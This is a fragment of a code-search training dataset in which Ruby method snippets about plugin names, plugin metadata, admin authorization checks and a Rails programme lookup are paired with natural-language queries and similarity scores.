"def integration_name\n @integration_name ||= begin\n name = self.name.split('::').last\n name.gsub!(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n name.gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2')\n name.downcase!\n name.to_sym\n end\n end",
"def family\n @plugin_family ||= @event.at('@pluginFamily').inner_text\n end",
"def scrub_plugin_name name\n\t\t\t\t\treturn name.gsub(\"(remote check)\", \"\").gsub(\"(uncredentialed check)\", \"\").gsub(/(\\(\\d.*\\))/, \"\")\n\t\t\t\tend",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Adds support for WebDAV Collection Sync (rfc6578)',\n 'link' => 'http://sabre.io/dav/sync/'\n }\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => nil,\n 'link' => nil\n }\n end",
"def name\n return @peer.name\n end",
"def name\n @module.name\n end",
"def plugin_path(*args); end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Adds support for CalDAV (rfc4791)',\n 'link' => 'http://sabre.io/dav/caldav/'\n }\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Adds support for CardDAV (rfc6352)',\n 'link' => 'http://sabre.io/dav/carddav/'\n }\n end",
"def plugin_names(type: :export, separator: '|')\n type = valid_type(type)\n available_plugins(type: type).join(separator)\n end",
"def plugin_name\n 'carddav'\n end",
"def plugin_manager\n server.plugin_manager\n end",
"def by_name(plugin_name)\n return @plugins[plugin_name] if @plugins.include?(plugin_name)\n begin\n if RUBY_PLUGINS.include?(plugin_name)\n add_ruby_plugin(plugin_name)\n elsif !@unknown.include?(plugin_name)\n add_module_plugin(plugin_name)\n end\n rescue PluginError::Unknown\n @unknown << plugin_name\n nil\n end\n end",
"def name\n @gapi.name\n end",
"def name\n @name ||= (@config[:name] || self.class.name.split(/::/).last.titleize)\n end",
"def my_name\n @my_name ||= self.class.name.split(\"::\").last\n end",
"def plugin(name)\n @__cinch_name = name\n end",
"def name\n @name ||= self.to_s.demodulize.underscore\n end",
"def name\n if (@replace_wildcards)\n return AvahiServiceFile.replace_wildcards(@name)\n end\n return @name\n end",
"def plugins_path\n data[:plugins_path]\n end",
"def plugin_description\n @plugin_description ||= \"#{Vmdb::Appliance.PRODUCT_NAME} plugin for the #{provider_name.titleize} provider.\"\n end",
"def name\n grpc.name\n end",
"def wrapper_name\n return @api.wrapper_gem_name_override if @api.wrapper_gem_name_override?\n\n minfo = /^(.+)-v\\d\\w*$/.match name\n minfo ? minfo[1] : nil\n end",
"def name\n self.class.name.split(\"::\").last.downcase\n end",
"def __name__\n ɴ = self.class.__instances__[ self ]\n namespace.name_get_hook.( ɴ ) if ɴ\n end",
"def name\n @gapi.name\n end",
"def instance plugin\n if @scope\n @plugin_instances[@scope + '::' + plugin]\n else\n @plugin_instances[plugin]\n end\n end",
"def plugin? name\n self.class.plugins.include? name\n end",
"def plugin_schema(name)\n get(\"/plugins/schema/#{name}\")\n end",
"def find_all_plugin_names(*pattern)\n find_all_plugin_specs(*pattern).map do |spec|\n spec.plugin_name\n end\n end",
"def plugin_module(plugin)\n module_name = plugin.to_s.gsub(/(^|_)(.)/){|x| x[-1..-1].upcase}\n unless Sequel::Plugins.const_defined?(module_name, false)\n require \"sequel/plugins/#{plugin}\"\n end\n Sequel::Plugins.const_get(module_name)\n end",
"def plugins_path; end",
"def plugin_module(plugin)\n module_name = plugin.to_s.gsub(/(^|_)(.)/){|x| x[-1..-1].upcase}\n if not Sequel::Plugins.const_defined?(module_name)\n begin\n require plugin_gem_location(plugin)\n rescue LoadError\n require plugin_gem_location_old(plugin)\n end\n end\n Sequel::Plugins.const_get(module_name)\n end",
"def name\n return self.class.name.split('::').last\n end",
"def name\n\t\tmodule_info['Name']\n\tend",
"def path_to(plugin_id); end",
"def name\n n = self.class.name\n n.gsub!( /::/, '.' )\n n.gsub( /(\\w)\\w+\\./ ) { |m| $1.downcase + '.' }\n end",
"def name\n \"hipchat-extensions\"\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Email delivery (rfc6037) for CalDAV scheduling',\n 'link' => 'http://sabre.io/dav/scheduling/'\n }\n end",
"def plugin_icon(plugin)\n registered = {\n petition: 'hand-rock-o',\n thermometer: 'neuter',\n survey: 'edit',\n text: 'paragraph',\n fundraiser: 'money',\n email_tool: 'envelope-o',\n email_pension: 'university',\n call_tool: 'phone'\n }\n name = plugin.name.underscore.to_sym\n registered.fetch(name, 'cubes')\n end",
"def name\n self.class.name.split(\"::\").last\n end",
"def gem_name\n @gem_name ||= @source_path.sub_ext(\"\").basename.to_s\n end",
"def plugin_gem_location(plugin)\n \"sequel/plugins/#{plugin}\"\n end",
"def name\n self.class.name.split('::').last\n end",
"def id\n @plugin_id ||= @event.at('@pluginID').inner_text.to_i\n end"
] |
[
"0.83314645",
"0.7881166",
"0.78111",
"0.7722512",
"0.7526759",
"0.74359274",
"0.7414494",
"0.68823963",
"0.6871244",
"0.6769277",
"0.67598736",
"0.6758391",
"0.6627354",
"0.63714135",
"0.6365459",
"0.6333212",
"0.63240296",
"0.6273711",
"0.62600756",
"0.62538457",
"0.62533134",
"0.6251578",
"0.6226107",
"0.61937755",
"0.60983723",
"0.6032158",
"0.60283124",
"0.6020832",
"0.6016746",
"0.5997442",
"0.5984753",
"0.59607816",
"0.59433913",
"0.5926657",
"0.5913541",
"0.5893122",
"0.5861171",
"0.58539647",
"0.5840578",
"0.58124",
"0.5799736",
"0.57621443",
"0.5751932",
"0.5741989",
"0.56972104",
"0.56528336",
"0.56457806",
"0.5638391",
"0.5609754",
"0.5609561",
"0.5598399",
"0.5543689",
"0.55202067",
"0.5500315",
"0.5476556",
"0.5473072",
"0.5472194",
"0.5465678",
"0.5455001",
"0.5453684",
"0.5452689",
"0.545163",
"0.544274",
"0.5440216",
"0.54157674",
"0.54149854",
"0.5413653",
"0.54071355",
"0.5404575",
"0.5403624",
"0.5395961",
"0.5393513",
"0.53805107",
"0.5371582",
"0.53699636",
"0.5351251",
"0.5349035",
"0.5344735",
"0.53428715",
"0.53414613",
"0.53351057",
"0.5330911",
"0.5330048",
"0.532888",
"0.53261137",
"0.53099537",
"0.53016466",
"0.5300908",
"0.5292866",
"0.528194",
"0.5276251",
"0.52684814",
"0.52676517",
"0.5262555",
"0.5259309",
"0.52547497",
"0.5248545",
"0.5244389",
"0.5219507",
"0.52166927"
] |
0.7157317
|
7
|
Returns a bunch of metadata about the plugin. Providing this information is optional, and is mainly displayed by the Browser plugin. The description key in the returned array may contain html and will not be sanitized.
|
def plugin_info
{
'name' => plugin_name,
'description' => nil,
'link' => nil
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Generates HTML indexes and debug information for your sabre/dav server',\n 'link' => 'http://sabre.io/dav/browser-plugin/'\n }\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'The Core plugin provides a lot of the basic functionality required by WebDAV, such as a default implementation for all HTTP and WebDAV methods.',\n 'link' => nil\n }\n end",
"def description\n info[\"Description\"]\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Adds support for CardDAV (rfc6352)',\n 'link' => 'http://sabre.io/dav/carddav/'\n }\n end",
"def description\n metadata[:description]\n end",
"def package_information\n puts\n puts \"%30s%s\" % [\"Plugin information : \", @package.metadata[:name]]\n puts \"%30s%s\" % [\"-\" * 22, \"-\" * 22]\n puts \"%30s%s\" % [\"Plugin Type : \", @package.plugintype.capitalize]\n puts \"%30s%s\" % [\"Package Output Format : \", @package_type.upcase]\n puts \"%30s%s\" % [\"Version : \", @package.metadata[:version]]\n puts \"%30s%s\" % [\"Iteration : \", @package.iteration]\n puts \"%30s%s\" % [\"Vendor : \", @package.vendor]\n puts \"%30s%s\" % [\"Post Install Script : \", @package.postinstall] if @package.postinstall\n puts \"%30s%s\" % [\"Author : \", @package.metadata[:author]]\n puts \"%30s%s\" % [\"License : \", @package.metadata[:license]]\n puts \"%30s%s\" % [\"URL : \", @package.metadata[:url]]\n\n if @package.packagedata.size > 0\n @package.packagedata = @package.packagedata.select{|k, v| v != nil}\n @package.packagedata.each_with_index do |values, i|\n if i == 0\n puts \"%30s%s\" % [\"Identified Packages : \", values[0]]\n else\n puts \"%30s%s\" % [\" \", values[0]]\n end\n end\n end\n end",
"def metadata\n {\n title: flickr_title,\n description: description\n }\n end",
"def description\n meta['description'] || extract_description\n end",
"def description\n return nil if info.nil?\n info[:description]\n end",
"def description\n ::I18n.translate(['refinery', 'plugins', name, 'description'].join('.'))\n end",
"def meta\n {\n source: @host,\n favicon: @favicon,\n url: @url,\n title: title,\n description: @description,\n keywords: keywords,\n image_url: @main_image,\n extractable: extractable?\n }\n end",
"def plugin_description\n @plugin_description ||= \"#{Vmdb::Appliance.PRODUCT_NAME} plugin for the #{provider_name.titleize} provider.\"\n end",
"def description\n\t\tmodule_info['Description']\n\tend",
"def description\n\t\t\t@data[\"description\"]\n\t\tend",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Adds support for caldav-sharing.',\n 'link' => 'http://sabre.io/dav/caldav-sharing/'\n }\n end",
"def descMetadata_display_fields\n [:identifier, :title, :alternative, :creator, :contributor, :description, :abstract,\n :toc, :publisher, :source, :date, :date_created, :date_copyrighted,\n :date_submitted, :date_accepted, :date_issued, :date_available,\n :date_modified, :language, :type, :format, :extent, :medium, :persname,\n :corpname, :geogname, :subject, :genre, :provenance, :rights,\n :access_rights, :rights_holder, :license, :replaces, :isReplacedBy,\n :hasFormat, :isFormatOf, :hasPart, :isPartOf, :accrualPolicy, :audience,\n :references, :spatial, :bibliographic_citation, :temporal, :funder,\n :resolution, :bitdepth, :colorspace, :filesize]\n end",
"def description\n data['description']\n end",
"def description\n data[:description]\n end",
"def description\n data[:description]\n end",
"def metadata\n {\n :name => \"QRCode Raplet\",\n :description => \"Shows a QRCode under phone numbers in the HUD\",\n :welcome_text => %q{\n <p>In order to see this raplet in action, connect your Google Contacts\n to Rapportive and then click on a phone number.</p>\n <p>You'll then be able to take a photo of the QRCode instead of having\n to type the number into your phone.</p>\n },\n :provider_name => \"Conrad Irwin\",\n :provider_url => \"http://github.com/ConradIrwin/qrcode-raplet\",\n :type => 'telephony'\n }\n end",
"def description\n @data['description']\n end",
"def description\n @data['description']\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Adds support for CalDAV (rfc4791)',\n 'link' => 'http://sabre.io/dav/caldav/'\n }\n end",
"def description\n @data['description']\n end",
"def meta_description\n\t\t\"Add your website description here. Find me in application_helper.rb\"\n\tend",
"def description\n ensure_full_data!\n @gapi[\"description\"]\n end",
"def description\n @data['description']\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Adds support for WebDAV Collection Sync (rfc6578)',\n 'link' => 'http://sabre.io/dav/sync/'\n }\n end",
"def metadata\n api_get(\"$metadata\").body\n end",
"def description\n response_json = @client.api_get_request('', 'tree=description')\n response_json['description']\n end",
"def description\n object[\"description\"]\n end",
"def description\n\t # if the description exists\n\t # return it \n\t # else \n\t # scrape to get the description\n\t # return it\n\t # end\n\tend",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Generic authentication plugin',\n 'link' => 'http://sabre.io/dav/authentication/'\n }\n end",
"def descriptions\n []\n end",
"def metadata\n @meta_data\n end",
"def descriptions\n\t\t@profile[:descriptions]\n\tend",
"def describe\n @description\n end",
"def describe\n @description\n end",
"def description\n data['Description']\n end",
"def description\n @gapi[\"description\"]\n end",
"def plugin_info\n {\n 'name' => plugin_name,\n 'description' => 'Email delivery (rfc6037) for CalDAV scheduling',\n 'link' => 'http://sabre.io/dav/scheduling/'\n }\n end",
"def all_descriptions\n result = []\n @pages.each do |page|\n result << [page.page_url, page.meta_desc_content] if page.page_a_tags\n end\n result\n end",
"def description\n fields['description']\n end",
"def metadata\n value_of(:metadata, JSON.method(:pretty_generate), '{}')\n end",
"def metadata\n {\n version: 0,\n prefill: true,\n returnUrl: '/veteran-information'\n }\n end",
"def metadata\n {\n version: 0,\n prefill: true,\n returnUrl: '/veteran-information'\n }\n end",
"def description\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: description_ordered, values: values )\n return values\n end",
"def page_meta_description\n \"To encourage an atmosphere of responsibility and transparency, while creating the most positive social network experience, Ello has created this bill of rights for all social network users.\"\n end",
"def meta_description\n # Change the value below between the quotes.\n \"File Repository for EZ Troubleshooter\"\n end",
"def page_description\n content_tag :meta, \"\", {name: \"description\", value: current_page.data.description } if current_page.data.description\n end",
"def get_plugin_info(pluginname, detailed = false)\n id = @utils.id_generate\n send_packet @utils.packet_mangler({\"PluginName\" => pluginname, \"Identifier\" => id, \"Detailed\" => detailed },\"GetPluginInfo\")\n wait_for id, /PluginInfo/\n end",
"def meta_tag_description\n $tracer.trace(__method__)\n return ToolTag.new(jquery(\"meta[name='description']\"),__method__)\n end",
"def description\n \"Derelict::Plugin::Manager for #{instance.description}\"\n end",
"def meta_description\n read_attribute(:meta_description).blank? ? self.intro[0, 255] : read_attribute(:meta_description)\n end",
"def extra_description\n attributes_description + content_description + count_description\n end",
"def description\n parsed {\n @description\n }\n end",
"def description\n data.description\n end",
"def description\n data.description\n end",
"def description\n data.description\n end",
"def metadata\n @data[:metadata]\n end",
"def page_description(description)\n content_for_layout :meta_description, description\n end",
"def create_meta_description\n '<meta name=\"description\" content=\"' + item[:description] + '\"/>' if item[:description]\n end",
"def get_help\n [self.class::DESCRIPTION, self.class::USAGE]\n end",
"def getDescription\r\n\t\t\t\t\treturn @description\r\n\t\t\t\tend",
"def getDescription\r\n\t\t\t\t\treturn @description\r\n\t\t\t\tend",
"def meta_description(*args)\n if args.any?\n @meta_description = args.first\n else\n description = @meta_description\n description ||= @page.meta_description if @page.try(&:meta_description?)\n description ||= @page.excerpt if @page && !@page.excerpt.empty?\n strip_tags(description)\n end\n end",
"def description\n\t\tdoCommandList.each do |commandItem|\n\t\t\tputs commandItem.description\n\t\tend\n\tend",
"def descriptions\n Element.descriptions.collect { |e| e['contents'] }.flatten.compact\n end",
"def descriptions\n Element.descriptions.collect { |e| e['contents'] }.flatten.compact\n end",
"def get_description\n get_field_config['description']\n end",
"def description\n if element.blank?\n log_warning \"Content with id #{self.id} is missing its Element.\"\n return {}\n end\n desc = self.element.content_description_for(self.name)\n if desc.blank?\n self.element.available_content_description_for(self.name)\n end\n desc || {}\n end",
"def meta_description(content)\n content_for_wrapper(:meta_description, content)\n end",
"def description(doc)\n node = doc.at('/html/head/meta[@name=\"description\"]/@content') and node.text\n end",
"def description\n @manifest_options[:description] || \"\"\n end",
"def metadata\n @page.metadata\n end",
"def description\n res = (@package.short_description ? @package.short_description : \"Description not available\") + \"\\n\"\n return res unless @package.long_description\n @package.long_description.each_line do |line|\n if line.strip.empty?\n res << \" .\\n\"\n else\n res << \" #{line}\"\n end\n end\n res.strip\n end",
"def metadata\n @manifest_options[:metadata] || {}\n end",
"def description\n meta_description.nil? ? secondary_description : meta_description\n end",
"def description\n meta_description.nil? ? secondary_description : meta_description\n end",
"def plugin_info\n info = nil\n if installed? and engine.respond_to? \"plugin_info\"\n info = engine.plugin_info(Concerto::PluginInfo)\n end\n info\n end",
"def get_info\n puts \"#{@title} by #{@author} is #{@status}.\"\n if @description\n puts \"#{@title} description: #{@description}.\"\n end\n end",
"def description\n [basic_description, extra_description].compact.join(\" \")\n end",
"def metadata\n metadata = {}\n @file.data.each { |key, value| metadata[key.to_sym] = value }\n\n metadata[:type] = @file.class.name.split('::')[1].downcase\n metadata[:url] = @file.url\n\n metadata[:slug] = slug\n\n metadata[:posted_at] = @file.date.to_time.to_i if @file.respond_to? :date\n metadata[:tags] = tags\n\n metadata\n end",
"def content_descriptions\n return nil if description.blank?\n description['contents']\n end",
"def description\n end",
"def description\n end",
"def meta_description\n description = [\"Description here.\"] # Change this for your site\n description << @category.title if @category\n description << [@post.title, @post.cat_title ] if @post\n description.join(\". \")\n end",
"def description\n data_from_r['description']\n end",
"def extract_meta\n end",
"def plugin_details(plugin_id)\n response = @client.get(\"plugins/plugin/#{plugin_id}\")\n verify response,\n forbidden: 'You do not have permission to view the plugin',\n not_found: 'Plugin not found',\n internal_server_error: 'Server failed to retrieve the plugin '\\\n 'details.'\n end",
"def description\n zombie_check\n @metadata.description(@name)\n end",
"def describe(description)\n api_desc(description)\n end",
"def description(page_description) \n content_for(:description) do \n \"<meta name=\\\"description\\\" content=\\\"#{page_description}\\\" />\\n\" \n end \n end",
"def shortdesc\n @data['shortdesc']\n end",
"def description(page_description)\n content_for(:description) do\n \"<meta name=\\\"description\\\" content=\\\"#{page_description}\\\" />\\n\"\n end\n end",
"def description(page_description)\n content_for(:description) do\n \"<meta name=\\\"description\\\" content=\\\"#{page_description}\\\" />\\n\"\n end\n end",
"def info\n if exists?(config = plugin_path)\n File.open(config).read.gsub(/^/,' ')\n else\n \" none\"\n end\n end",
"def get_description\n @description\n end",
"def plugin_description(policy_id, family_id, plugin_id)\n response = @client.get(\"editor/policy/#{policy_id}/families/#{family_id}\"\\\n \"/plugins/#{plugin_id}\")\n verify response,\n internal_server_error: 'Internal server error occurred.'\n end",
"def meta\n @d[:meta]\n end"
] |
[
"0.731031",
"0.6975837",
"0.6779127",
"0.671048",
"0.66537756",
"0.6532279",
"0.6531967",
"0.6520701",
"0.64915174",
"0.63981205",
"0.6397866",
"0.63945514",
"0.63911355",
"0.6344642",
"0.6331503",
"0.6317602",
"0.6305746",
"0.62706506",
"0.62706506",
"0.62682104",
"0.62580055",
"0.62580055",
"0.6253601",
"0.62507755",
"0.6244296",
"0.6231438",
"0.6230053",
"0.6229414",
"0.6218047",
"0.61800075",
"0.61710036",
"0.615853",
"0.61503386",
"0.6131789",
"0.6124813",
"0.6120779",
"0.61141473",
"0.61141473",
"0.6105918",
"0.6100189",
"0.6090262",
"0.6089772",
"0.6074291",
"0.6062894",
"0.60348827",
"0.60348827",
"0.6033724",
"0.6021903",
"0.60186017",
"0.6006342",
"0.6004514",
"0.59996325",
"0.5976387",
"0.59605145",
"0.5959308",
"0.5954567",
"0.59411603",
"0.59411603",
"0.59411603",
"0.5925202",
"0.5919988",
"0.5907744",
"0.5897825",
"0.58940464",
"0.58940464",
"0.58878225",
"0.5880851",
"0.58796567",
"0.58796567",
"0.58731925",
"0.58718807",
"0.58643",
"0.585914",
"0.5855243",
"0.5849292",
"0.5849079",
"0.5846853",
"0.5838838",
"0.5838838",
"0.58233875",
"0.5822585",
"0.582233",
"0.5819261",
"0.58076966",
"0.58000326",
"0.58000326",
"0.5789515",
"0.57841444",
"0.5783143",
"0.57821995",
"0.5772898",
"0.57647187",
"0.57620126",
"0.57592857",
"0.5757201",
"0.5757201",
"0.57552856",
"0.57485574",
"0.5745948",
"0.57338655"
] |
0.7458092
|
0
|
before_action :verify_user_is_area_admin, only: [:new, :create, :edit, :update, :destroy]
|
def index
if current_user.coach.nil?
@coach = Coach.first
else
@coach = current_user.coach
end
# @coach = current_user.coach
@junior_teams = Team.for_juniors(1000, @coach.organization)
@senior_teams = Team.for_seniors(1000, @coach.organization)
@seniorb_teams = Team.for_seniorb(1000, @coach.organization)
@coaches = Coach.alphabetical.active.all
@organizations = Organization.alphabetical.all
@top_juniors = IndivStanding.for_juniors(10, @coach.organization)
@top_seniors = IndivStanding.for_seniors(10, @coach.organization)
@top_seniorb = IndivStanding.for_seniorb(10, @coach.organization)
@improved_juniors = ResultCalculator.find_most_improved(@coach.organization, Division.find_by_name("juniors"))
@improved_seniors = ResultCalculator.find_most_improved(@coach.organization, Division.find_by_name("seniors"))
@improved_seniorb = ResultCalculator.find_most_improved(@coach.organization, Division.find_by_name("seniorb"))
render template: 'dashboards/coach_dashboard'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def verify_admin\n :authenticate_user!\n have_no_rights('restricted area') unless current_user.isAdmin?\nend",
"def admin_area &block\n capture(&block) if current_user && current_user.admin?\n end",
"def isAdmin\n \n end",
"def admin_area(&block)\n if admin?\n yield\n end\n end",
"def check_if_should_be_admin\n end",
"def ensure_admin!\n authorize! :read, :admin_dashboard\n end",
"def ensure_admin!\n authorize! :read, :admin_dashboard\n end",
"def any_action?\n admin?\n end",
"def authorizeAdmin\n redirect_to '/adminlogin' unless admin_user\n end",
"def show\n is_admin?\n end",
"def authorize_admin!\n authorize! :manage, :all\n end",
"def only_admin\n if user_role == 'admin'\n else\n redirect_to clients_path, notice: \"У вас нет прав для просмотра даного раздела, или редактирования информации\"\n end\n end",
"def show\n # authorize Admin\n end",
"def authorize_admin\n redirect_to root_path unless current.user.immortal?\n end",
"def authorize_admin!\n redirect_to login_path unless current_user\n end",
"def show\n isadmin\n end",
"def admin?; current_user.admin?; end",
"def admin?; current_user.admin?; end",
"def admin?; false end",
"def ensure_admin_user!\n redirect_to(region_templates_path, :alert => \"You may not perform this action on regions!\") and return unless current_user.admin?\n end",
"def check_admin\n redirect_to houses_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end",
"def admin_authorize\n \tunless User.find(session[:user_id]).user_type == \"admin\"\n \t\tsession[:original_uri] = nil\n\t\t flash[:warning] = \"You are not authorized to view this page!\"\n\t\t redirect_to(root_path)\n \tend\n end",
"def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end",
"def verify_is_admin\n return unless !current_user.admin?\n redirect_to root_path, alert: 'Admins only!'\n end",
"def checkAdmin\n current_user.present? && current_user.isAdmin\n end",
"def admin_in!\n access_denied! unless current_user.admin?\n end",
"def authorize_admin\n redirect_to(:controller => 'main', :action => 'index') and return false unless @logged_in_user.is_admin?\n end",
"def verify_admin\n redirect_to root_url unless current_user.role_id == 1 || current_user.role_id == 2\n end",
"def admin_actions(user)\n can_act_as_logged_in_user(user)\n can_view_any_profile\n can_view_any_gallery\n can_edit_saved_queries\n can_curate\n can_update_metadata\n can_administer\n end",
"def admin?\n false\n end",
"def authorize_admin\n redirect_to root_path, notice: \"You don't have access to admin pages.\" if !current_user.admin?\n end",
"def authorize_admin\n return if current_customer.admin?\n redirect_to root_path, alert: 'Admins only!' unless current_customer and current_customer.admin?\n end",
"def authorize_admin\n return unless current_user.admin?\n redirect_to root_path, alert: 'Admins only!'\n end",
"def before_action \n end",
"def admin_access\n if current_user.access? :admin\n return true\n elsif current_user\n flash[:notice] = \"Du har ikke adgang til denne side\"\n redirect_to nationalities_path\n else\n flash[:notice] = \"Du har ikke adgang til denne side\"\n redirect_to login_path\n end\n end",
"def authorize_admin\n redirect_to '/librarians/denied' unless current_user && current_user.admin?\n end",
"def is_admin?\n admin\n end",
"def is_admin?\n admin\n end",
"def ensure_admin_user!\n redirect_to(enemy_templates_path, :alert => \"You may not perform this action on enemies!\") and return unless current_user.admin?\n end",
"def authorize_admin\n return unless !current_user.admin?\n redirect_to root_path, alert: 'Admins only!'\n end",
"def authorize_admin\n return unless !current_user.admin?\n redirect_to root_path, alert: 'Admins only!'\n end",
"def is_admin\n test_access :admin\n end",
"def show\n is_admin?\n end",
"def admin\n self.is_admin_for?\n end",
"def authorize_admin!\n redirect_to home_path unless current_user&.admin\n end",
"def authorize_admin\n\t\tauthorize( ADMIN_USER_LEVEL ) \n\tend",
"def admin?\n !current_user.AdminScreen?\n end",
"def is_admin\n admin?\n end",
"def only_authorize_admin!\n authorize!(is?(:admin))\n end",
"def admin_user \n if (!current_user.lunches_admin?) \n flash[:alert] = 'You not allowed to edit menu.'\n \n redirect_to(root_url)\n end\n end",
"def confirm\n @area = Area.find(params[:id])\n @area.attributes = params[:area]\n render :action => :edit, :status => 400 and return unless @area.valid?\n end",
"def admin\n\t\tcan :manage, :all\n\tend",
"def show\n authorize @admin\n end",
"def admin?\n controller.admin?\n end",
"def authorized_for_create?\n current_user.is_admin\n end",
"def admin?\n self.user_type == TYPES[:admin]\n end",
"def authorize_admin\n return unless !current_admin\n redirect_to root_path, alert: 'Admins only!'\n end",
"def authorize?(user)\n user && user.admin?\n end",
"def admin_authorize\n unless admin?\n unauthorized_access\n end\n end",
"def must_be_admin\n if current_user.is? \"EA\"\n return true\n else\n redirect_to root_path,:notice =>\"Access Denied...\"\n end\n end",
"def is_admin?\n admin?\n end",
"def user_is_admin\n unless current_user.admin?\n flash[:notice] = \"You may only view existing scenarios.\"\n redirect_to root_path\n end\n end",
"def admin?() false end",
"def edit\n authorize @user_information\n end",
"def authorize_edit\n authorize! :edit, @opportunity\n end",
"def authenticate_admin!\n current_user.is_admin? \n end",
"def admin\n end",
"def admin\n end",
"def admin\n end",
"def admin\n end",
"def admin_logic\n end",
"def manage?\n admin?\n end",
"def verify_admin\n render_401 unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(admin_page_url) if current_user.admin?\n end",
"def admin\n can :manage, :all\n end",
"def restrictToAdmin! ; redirect to('/login'),303 unless admin? ; end",
"def admin\n #manager\n #include User,CmsRole\n can :manage, :all\n end",
"def facility_admin\n facility_controller_check\n unless current_user.role == \"site_admin\" || (@facility_role_access.present? && current_user.role == \"facility_admin\")\n flash[:error] = 'You are not authorized. Please request access from your manager'\n redirect_to root_url\n end\n end",
"def edit\n authorize! :update, @user\n end",
"def check_admin\n return redirect_to user_dashboard_path unless current_user.is_admin?\n end",
"def authorize_admin\n authorize! :update, convention.events.new\n end",
"def edit_subject_areas?\n edit_settings? || owner?\n end",
"def authorize_admin!\n unless admin?\n flash[:alert] = 'Unauthorized access'\n redirect_to home_path\n false\n end\n end",
"def ensure_admin_user\n redirect_to dashboard_index_path unless is_admin?\n end",
"def admin\n\n end",
"def check_admin\n redirect_to new_admin_session_path unless is_admin?\n end",
"def admin?\n admin\n end",
"def verify_admin\n admin_is_logged_in? || not_found\n end",
"def authorize_admin\n redirect_to root_path, flash: {:error => \"User don't have admin privileges\"} unless isAdmin?\n end",
"def editable?\n admin?\n end",
"def can_edit?(user)\n\n end",
"def admin_user\n redirect_to(login_path) unless current_user.is_admin?\n end",
"def is_admin\n \tif current_user != nil\n\t \t \tif !current_user.admin\n redirect_to root_path, :alert => \"Acceso denegado\"\n\t \tend\n\t\t else\n redirect_to root_path, :alert => \"Acceso denegado\"\n\t\t end\n \t\t\n\n end",
"def show\n checkadmin\n end",
"def admin?\n user.admin?\n end",
"def admin_user\n render_forbidden unless current_user.admin?\n end",
"def check_admin\n redirect_to root_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end",
"def check_admin\n redirect_to root_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end",
"def authenticate_admin!\n unless current_user.admin?\n flash[:danger] = \"Sorry, you don't have premissions for this action.\"\n redirect_to root_path\n else\n true\n end\n end",
"def mode_settings\n authorize!(@user)\n end",
"def isAdmin\n self.admin?\n end"
] |
[
"0.76303256",
"0.71692306",
"0.68710583",
"0.68340254",
"0.6819351",
"0.6788042",
"0.6788042",
"0.67702895",
"0.66242266",
"0.6584962",
"0.6565099",
"0.6561352",
"0.6524774",
"0.6504416",
"0.64939594",
"0.64934623",
"0.64926994",
"0.64926994",
"0.64817804",
"0.64793813",
"0.6464459",
"0.642791",
"0.64212",
"0.6420891",
"0.64133155",
"0.63914776",
"0.6384635",
"0.63821244",
"0.63810486",
"0.63738066",
"0.6363764",
"0.6362405",
"0.6354935",
"0.6340359",
"0.6332775",
"0.632954",
"0.63252354",
"0.63252354",
"0.6319341",
"0.6313846",
"0.6313846",
"0.63106996",
"0.63069934",
"0.63051724",
"0.6304767",
"0.63047457",
"0.62969965",
"0.62958336",
"0.62904996",
"0.62878954",
"0.6285103",
"0.62767553",
"0.6270753",
"0.6268668",
"0.62599695",
"0.6259183",
"0.6256944",
"0.6256287",
"0.62542194",
"0.6253656",
"0.62455034",
"0.62448376",
"0.6235899",
"0.62302047",
"0.6227977",
"0.6226501",
"0.6218014",
"0.6218014",
"0.6218014",
"0.6218014",
"0.6217728",
"0.6217658",
"0.6215073",
"0.6213613",
"0.6209378",
"0.6202491",
"0.6201613",
"0.6197091",
"0.6195005",
"0.6193714",
"0.61927825",
"0.6189147",
"0.6187188",
"0.6184895",
"0.6182392",
"0.61780196",
"0.6177929",
"0.61758715",
"0.61684716",
"0.61587024",
"0.61580396",
"0.6156037",
"0.6152188",
"0.6141082",
"0.61374825",
"0.61351734",
"0.6130765",
"0.6130765",
"0.6129457",
"0.6128737",
"0.61224914"
] |
0.0
|
-1
|
use in auth_rules(examquestion) return [programme_id] for academician
|
def lecturers_programme
mypost = Position.find(:first, :conditions => ['staff_id=?',staff_id])
myunit = mypost.unit
postbasics=['Pengkhususan', 'Pos Basik', 'Diploma Lanjutan']
post_prog=Programme.find(:all, :conditions => ['course_type IN(?)', postbasics])
dip_prog=Programme.find(:all, :conditions => ['course_type=?', 'Diploma']).map(&:name)
if dip_prog.include?(myunit)
programmeid=Programme.roots.find(:all, :conditions => ['name=?', myunit]).map(&:id)
else
if myunit=="Pengkhususan" && roles.map(&:authname).include?("programme_manager")
programmeid=post_prog.map(&:id)
elsif postbasics.include?(myunit)
post_prog.map(&:name).each do |pname|
@programmeid=Programme.roots.find(:all, :conditions => ['name=?', pname]) if mypost.tasks_main.include?(pname).pluck(&:id)
end
programmeid=@programmeid
else
programmeid=0 #default val for admin, common_subjects lecturer too
end
end
programmeid
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
